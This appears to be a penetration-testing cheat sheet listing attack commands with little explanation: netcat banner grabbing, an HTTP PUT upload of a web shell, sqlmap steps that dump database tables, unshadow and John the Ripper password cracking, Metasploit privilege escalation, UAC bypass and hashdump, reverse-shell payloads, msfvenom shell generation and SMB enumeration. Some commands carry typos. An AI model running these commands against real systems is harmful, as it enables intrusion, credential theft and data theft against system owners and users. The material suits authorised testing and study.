ip route add ROUTETO via ROUTEFROM
ip route add 192.168.222.0/24 via 10.172.24.1 # Here 10.172.24.1 is the address of the gateway for subnet 192.168.222.0/24
nc -v www.abc.com 80 # After pressing enter you are prompted to send some dataType two lines given below and press enter two times to get http responseGET / HTTP/1.1Host: www.abc.com
HEAD / HTTP/1.0
OPTIONS / HTTP/1.0
Opensl s_client –connect target.site:443
OPTIONS / HTTP/1.0
nc -v 10.10.10.10 port
HEAD / HTTP/1.0
httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt
nc 10.10.10.10 80
OPTIONS / HTPP/1.0
Cookies
Developer Tools, F12 in Chrome
wc –m webshell.php
nc 127.0.0.1 80
PUT /webshell.php HTTP/1.0
Content-type: text/html
Content-length: 149
Double Enter to Send
Checking for existence of SQL injection
sqlmap -u ‘http://example.com/view.php?id=1141’ -p id # GET Method
sqlmap -u ‘http://example.com/view.php’ --data <POST String> -p <parameter> # POST Method
sqlmap -u ‘http://example.com/view.php?id=1141’ --dbs # Getting database names
sqlmap -u ‘http://example.com/view.php?id=1141’ -D <DB_name> --tables # Getting table names
sqlmap -u ‘http://example.com/view.php?id=1141’ -D <db_name> -T <tbl_name> --columns # Getting columns
sqlmap -u ‘http://example.com/view.php?id=1141’ -D <DB_name> -T <tbl_name> -C <column_name_comma_separate> --dump # To dump whole table remove column specification from the command and use only --dump option
unshadow passwd shadow > crackfile
john –wordlist=<word list file> <file to crack>
john –wordlst=<word list file> -rules <file to crack>
search x
use x
info
show options, show advanced options
SET X (e.g. set RHOST 10.10.10.10, set payload x)
background
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
use post/windows/gather/hashdump
Windows
set payload windows/meterpreter/reverse_tcp
set paylog windows/meterpreter/bind_tcp
Java
set payload java/meterpreter/reverse_tcp
set payload java/meterpreter/bind_tcp
python
set payload python/meterpreter/reverse_tcp
set payload python/meterpreter/bind_tcp
Linux
set payload linux/x86/meterpreter/reverse_tcp
set payload linux/x86/meterpreter/bind_tcp
Php
set payload php/meterpreter/reverse_tcp
meterpreter> getsystem
background
search bypassuac
use exploit/windows/local/bypassuac
set session
exploit
use post/windows/gather/hashdump
Autoroute:
meterpreter> run autoroute -s <subnet>
meterpreter > run autoroute -p # show active route table
msfvenom -p <payload_path> LHOST=<IP> LPORT=<PORT> -f <format> -o shell
nmblookup -A 10.10.10.10
smbclient -L //10.10.10.10 -N (list shares)
smbclient //10.10.10.10/share -N (mount share)
enum4linux -a 10.10.10.10
smbclient //ip/share -N
nmap -p445 --script=smb-vuln-* <IP> -v # This will run all the smb-vuln scripts, if you want to run only few scripts then you can check other available scripts in /usr/share/nmap/scripts